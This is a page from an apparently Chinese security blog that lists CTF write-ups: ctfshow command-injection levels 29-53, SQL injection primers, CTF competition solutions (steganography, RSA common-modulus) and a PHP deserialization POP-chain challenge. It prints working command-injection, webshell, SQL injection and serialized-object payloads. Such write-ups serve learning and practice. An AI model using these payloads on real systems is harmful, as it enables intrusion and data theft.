首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,438 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
892 阅读
4
k8s安装及部分漏洞复现
850 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
27
篇与
web
的结果
2021-04-08
ctfshow命令执行29-53
web29只对flag进行了过滤,有很多绕过方法,可以使用通配符或者转义字符等等。payload:?c=system("cat fla*");web30在29的基础上增加了system和php,因此可以使用nl命令加通配符,或者是反引号,payload:?c=echo nl fla*;web31if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c))过滤了大多数参数,先使用print_r(scandir(dirname(__FILE__)));可以看到第三个元素是flag.php,因此直接使用array_reverse()倒置并使用next()函数定位,高亮显示即可web32此处进行了多重过滤,包括括号,因此,需要找一个没有括号的命令来进行绕过,此处使用include,分号使用?>进行绕过,然后就结合一下php伪协议就可以实现绕过web33-36这里除了36对数字进行过滤了之外,剩下的都可以直接进行伪协议,payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php或者使用data协议,?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>或者此处转码,?c=include$_GET[a]?>&data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==就能拿到flagweb37-38因为对c进行了一次取数加过滤,并过滤了flag,所以想到利用data伪协议进行base64转码的操作,就可以拿到flag;还可以进行新操作,配合UA头执行日志包含虽然不建议用ua头日止包含,但是还是试了下:首先通过ua头传POST参数a,然后在POST中传参1,然后利用参数1访问日志文件,利用参数a拿flag还可以通过包含flag.php文件,然后var_dump(get_defined_vars)拿到flagweb39类似于38但是这里有一部else之后添加.php,这里不用管,直接使用data伪协议就好,就可以进行输出,这里不能用base64,因为这个地方的.php是最后加的,会影响最后的转码;还有另一种方法能得到flag,就是构造新的参数进行命令执行,payload:?c=data://text/plain,<?php eval($_POST[1]);?>,此时的POST请求中输入1=system("tac flag.php");得到flagweb40过滤了很多的特殊字符,因此可以使用之前的函数进行操作。先用print_r(scandir(dirname(__FILE__)))看到flag.php,然后使用next(array_reverse())定位,最后使用高亮输出,得到flag,payload:?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));也或者通过另一种形式,payload:?c=show_source(next(array_reverse(pos(localeconv()))));也可以得到flagweb41无数字无字母的命令执行,这里直接用的yu大佬的脚本,具体用法就是把两个脚本放在同一目录,然后powershell运行出flag。脚本原理是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符,相当于找出可用字符拼命令。web42没有进行过滤,但是在参数的最后加上了>/dev/null 2>&1,如果执行则得不到结果,于是需要进行截断,直接%0a截断即可web43对cat进行了过滤,但是nl仍然在外面,因此直接使用?c=nl flag.php%0a得到flagweb44同时过滤了cat和flag,直接使用通配符拿到flag。payload:?c=nl fla*%0aweb45比44多过滤了一个空格,这时可以用内联注执行或者%09绕过,内联执行使用:payload:?c=echo$IFStac$IFS*%0a,还有很多绕过空格的方法:<>web46多过滤了数字,实际上基本上差不多,payload:?c=nl%09flag.php%0aweb47可以直接用46的命令执行,尝试<成功,绕过flag使用flag和fla''g成功web48与上面相同web49c=nl%09flag.php||c=nl%09flag.php%0ac=nl%09fla''g.php%0ac=nl%09fla""g.php%0ac=vi%09flag.php%0ac=tac%09flag.php%0ac=uniq%09flag.php%0ac=nl<fla''g.php||c=nl%09flag.php%26web50同上web51同上web52这里对于空格的绕过检测过滤的很严格,但是没有过滤$,因此可以利用$IFS进行绕过,payload:?c=nl$IFS/flag||web53没有了后面的>/dev/null 2>&1,过滤依然和前面差不多。payload:?c=nl$IFSflag.php可以得到flag。
2021年04月08日
174 阅读
0 评论
1 点赞
2021-01-31
SQL注入基础整理(二)
存在过滤的绕过总结过滤空格常见的过滤空格的绕过方式是使用URL编码和//、括号等,利用%0a、%0b、%0c、%09、%a0、//进行绕过过滤SELECT如果是对SELECT进行替换为空,则使用嵌套的方式进行绕过,如果是仅仅对SELECT设限,则使用大小写绕过,或者是使用内联注释绕过,即/!../绕过过滤and、or等使用&&代替and,||代替or=被过滤使用通配符like进行绕过,或者在判断条件<>前加!过滤大于小于号引用函数greatest()、least()、strcmp()、between、in关键字等,在盲注中会遇到这类问题。过滤引号分开讨论,如果没有过滤/则可以利用转义进行操作,如果/也被过滤则使用宽字节注入或者其他编码进行绕过。二次注入:输入的数据经过addslashes之后无法进行账户入,但是在引用该数据时,不会经过addslashes,于是可以通过该方式产生注入。字符串截断 $conn = mysqli_connect("127.0.0.1","root","root","aaa"); $title = addslashes($_GET['title']); $title = substr($title,0,10); echo"<center>$title<center>"; $content = addslashes($_GET['content']); $sql = "INSERT INTO news VALUES(2,'$title','$content')"; $res = mysqli_query($conn, $sql); 例如该php代码,可以看到对title进行截断,不超过十个字符,所以可以利用addslashes函数的作用,例如输入aaaaaaaaa',在截取时就会输出aaaaaaaaa,所以直接将$sql = "INSERT INTO news VALUES(2,'$title','$content')"的单引号转义,然后通过content进行注入。分块传输后面更新
2021年01月31日
295 阅读
0 评论
5 点赞
2021-01-28
SQL注入基础整理(一)
数字型注入与字符型注入的区别关于数字型和字符型的判断,主要是来自于php中对于传入语句的区别。数字型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id =".$_GET['id']) 字符型:$sql = mysqli_query($conn,"SELECT id,content FROM news WHERE id ='".$_GET['id']."'") 此处的区别就是传入时的区别,可以利用id = 3-1的回显判断是哪种注入,如果回显正常,那么就是数字型注入,如果页面返回为空,继续访问id = a,如果是正常回显则为字符型注入。数字型注入和UNION注入 判断为数字型注入之后,开始进行SQL注入,而且此处的注入点是id,因此直接通过id入手,进行注入时,由于PHP代码决定该界面只显示一行记录,要设置id为-1或者是其他很大的数;或者是限定limit 1,1,用来指定查询第几条记录。假设已知有三个字段,2的位置会产生回显,于是进行注入payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()此时可以回显出所有的表名,然后找到有用的表名(假设是user)进一步注入payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'然后就可以找到对应的字段名(假设flag在flag字段中),然后可以进一步注入payload:?id=-1 union select 1,flag,3 from flag。字符型注入得知是字符型注入之后,可以使用单引号必和前面的单引号,然后注释掉后面的内容,于是使用"--%20"或者"%23"注释,然后后续的方法与数字型注入相同。布尔盲注原理是利用sql的强制转换,然后进行判断的功能,如果判断为true,则会回显,如果判断错误,则会回显空白,于是直接从后面进行判断,可以使用substring()、mid()、substr()函数进行判断,substring()函数和mid()函数起始值是1,substr()函数起始值是0。因此可以利用这些函数进行猜解,payload:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100%23,然后可以像之前一样进一步的猜解。时间盲注的回显是通过对于回显的时间进行判断是否正确,例如payload:(if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))%23 。报错注入形式就是当的语句出现错误时,会出现错误调试信息,主要是updatexml()函数和extractvalue()函数,updatexml()第二个参数为合法的XPATH路径,如果报错则会放回传入的参数进行输出。所以构造payload:id=1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))堆叠注入多条语句一起执行,与UNION注入的区别是union的能力有限,而堆叠注入可以构造任意语句,使用(;)连接,在过滤较多但没有过滤(;)的题目中也许能够派上用场。根据注入点的不同,注入姿势也是不一样的,以后会根据源码进行分析。以上是阅读从0到1之后的一些笔记,均未涉及对关键字的过滤情况,在以后的整理中会有详细整理。
2021年01月28日
157 阅读
0 评论
5 点赞
2020-12-13
某科技大学物联网数据库sql作业实验(后续更新并解决问题)
实验一内容:使用MySQL创建数据库,采用PyQt制作简单界面完成以下功能: (1)数据的增加 (2)数据的删除 (3)数据的查找 (4)数据的修改 实验二内容:使用MySQL创建数据库,采用PyQt制作简单界面完成以下功能: (1)使用正则表达式进行数据检索; (2)根据数据库中的项目,创建“计算字段”,并且显示计算结果; (3)使用AVG( )、COUNT( )、MAX( )、MIN( )、SUM( )聚集函数实现数据汇总; (4)使用 group by 和 order by 实现数据的分组排序; (5)使用子查询。 实现的py文件百度网盘链接:https://pan.baidu.com/s/13FCgy5CEdP5SpTCmwrHC9w 提取码:n00b 和实验一相差不多,不同的是实验二的sql语句变的相对复杂了些,不过只要对sql语句进行修改,同样也可以完成对该实验的实现。没有引用pandas库,仍然是使用的pymysql以及pyqt的框架,在py文件中注有少量注释,作为初学者对代码知识的掌握确实不是很好,也确实没有做深入的研究,希望各位大佬们能给出一些指导意见,能让我更早上岸当菜鸡(゜ω゜) 另外,实验一的代码并没有删除,也在附件里,请大佬们放心食用。在敲代码的过程中也遇到了一个问题,就是在将遍历的结果输入进表中时,总会把第一行的字段名一并遍历并且清空,希望能解决的大佬来帮帮忙,共同进步!!!(*´・ω・`)⊃更新:可以直接在当前函数下加一句self.tableWidget.clearContents(),这句话的作用是清空对第一行字段的值,然后在先前的我们的值为多少,现在的值就为多少,此时就可以让他的值保持不变。pyqt和python一起学的,真的很基础,大佬们轻点~~一起变强!!!୧(๑•̀⌄•́๑)૭✧
2020年12月13日
418 阅读
1 评论
6 点赞
2020-11-12
2020科来杯决赛部分wp
损坏的流量包拿到流量包,无法打开,拖进editor里,在最后看到key.txt,于是改后缀为.zip,拿到key.txt,base64转码拿到flag。签到题因为是赛后写的wp,忘记存源码了,在源码中,有提示打出10颗星拿到flag,打到十颗星后F12,在control中看到flag,或者是查看源码,应该会看到一个好像是叫we1come_sdnisc.php的文件,把关于他的这个函数从control中输入,也可以返回flag。ctf的起源拿到之后是一堆base64,于是notpad转化看不出来是啥,想到base64隐写,于是脚本出flag。# coding=utf-8 from urllib3.connectionpool import xrange def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s2)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('flag.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) print(diff) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print(goflag(bin_str)) def goflag(bin_str): res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str if __name__ == '__main__': solve_stego() 简单的rsa共模攻击,跑脚本出flag。#!/usr/bin/env python # -*- coding: utf-8 -*- from libnum import xgcd, invmod from Crypto.Util.number import * n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557 e1 = 0xf4c1158f c1 = 12051796366524088489284445109295502686341498426965277230069915294159131976231473789977279364263965099422235647723775278060569378071469131866368399394772898224166518089593340803913798327451963589996734323497943301819051718709807518655868569656941242449109980876397661605271517459716669684900920279597477446629607627693769738733623143693170696779851882404994923673483971528314806130892416509854017091137325195201225617407959645788145876202882024723106204183257094755002924708009138560347432552090905489132135154932987521239299578509008290614398700799670928805692609756924823628055245227290288940649158862576448537833423 e2 = 0xf493f7d1 c2 = 16648382384980770705624348910895797622774711113202207693584907182552301186239613809347201161450012615995859738410661452438496756353485538305614949211776668793864984429696790944750894691957799234264508530084026894611228513698963347402329109838109621609770406925700520983387811451074838470370044678634099202003480925903267508744006195455234025325060817223813858985074720872124168142943926467694676717713503559007112874381750005406371400109962943508349497151148446064846096531445037416174913915923050332242843403926133165817310272633884358263778516770288515592959832151762499526363131801945163501999337808208074381212795 s1, s2, _ = xgcd(e1, e2) if s1 < 0: s1 = -s1 c1 = invmod(c1, n) elif s2 < 0: s2 = -s2 c2 = invmod(c2, n) m = (pow(c1, s1, n) * pow(c2, s2, n)) % n print(long_to_bytes(m)) 过去和现在图片隐写,用binwalk分离第一个文件中有flag。说一下总结吧,其实有很多遗憾,离三等奖只差一个题,不会python的毛病被无限放大,流量分析题一点分都没有拿...如果对脚本编写掌握的好的话,至少会再出一个题,学了这么长时间了,python还这么烂属实不应该,开始学python,多做做流量分析题,为之后的赛事做准备,冲冲冲!!!
2020年11月12日
406 阅读
0 评论
3 点赞
2020-10-26
[强网先锋] web辅助
昨天晚上开会复现了web辅助,忙着回宿舍补作业,今天把复现的内容总结一下。index.php代码: <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ?> 可以看到是通过username和password传参,然后存入caches,并序列化,然后去找player play.php代码: <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); print_r($player); if ($player->get_admin() === 1){ echo "FPX Champion\n"; } else{ echo "The Shy unstoppable\n"; } ?> 这里看到是将caches的值通过check函数的检查并且通过read函数进行读取,并且反序列化,然后引用使get_admin为1,于是去找player类,在class.php中,代码: <?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ return $this->admin; } } class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ $name = $this->name; $name(); } } public function __destruct(){ $this->TP(); } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } public function __wakeup(){ if ($this->name !== 'Yasuo'){ $this->name = 'Yasuo'; echo "No Yasuo! No Soul!\n"; } } public function __invoke(){ $this->Gank(); } public function Gank(){ if (stristr($this->name, 'Yasuo')){ echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } } class jungle{ protected $name = ""; public function __construct($name = "Lee Sin"){ $this->name = $name; } public function KS(){ system("cat /flag"); } public function __toString(){ $this->KS(); return ""; } } ?> 在class.php中,引用了多个魔术方法。分析代码,函数这里是构造了pop链,topsolo类的TP方法进行对象调用,从而触发midsolo的__invoke方法然后触发Gank方法,stristr是对字符串的操作触发了jungle类的__toString方法获得flag,理清拿flag的思路后开始构造payload。common.php代码: <?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?> 构造payload:内容:构造一个恶意的topsolo对象:$jungle = new $jungle(NULL); $midsolo = new $midsolo($jungle); $topsolo = new $topsolo($midsolo); $a =serialize($topsolo); 绕过:可以看到在这里进行了两次替换和一次过滤,第一次替换是在输入时,在这里会将00替换为00,然后,在下一次读取时,会将00替换为00,于是利用字符逃逸进行对将payload输入。然后还有一次替换,是在check()函数中,只要出现name就不允许输入,这里利用大写S会支持序列化中的十六进制转码来绕过。此时payload:username=0000000000000000000000&password=A;O:7:"topsolo":1:{S:7:"%00%006eame";O:7:"midsolo":2:{S:7:"%00%006eame";O:6:"jungle":1:{S:7:"%00%006eame";N;}}}总结:1.__wakeup()函数绕过:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。2.字符逃逸,在read和write函数里可以通过对00和00的替换进行字符逃逸。3.对于在序列化中的check函数的过滤,可以使用大写S然后十六进制的过滤方式4.一些魔术方法:__construct(),类的构造函数__destruct(),类的析构函数__toString(),类被当成字符串时的回应方法__invoke(),调用函数的方式,调用一个对象时的回应方法__wakeup(),执行unseriallize()函数时,先会调用这个函数。
2020年10月26日
415 阅读
0 评论
6 点赞
1
...
3
4
5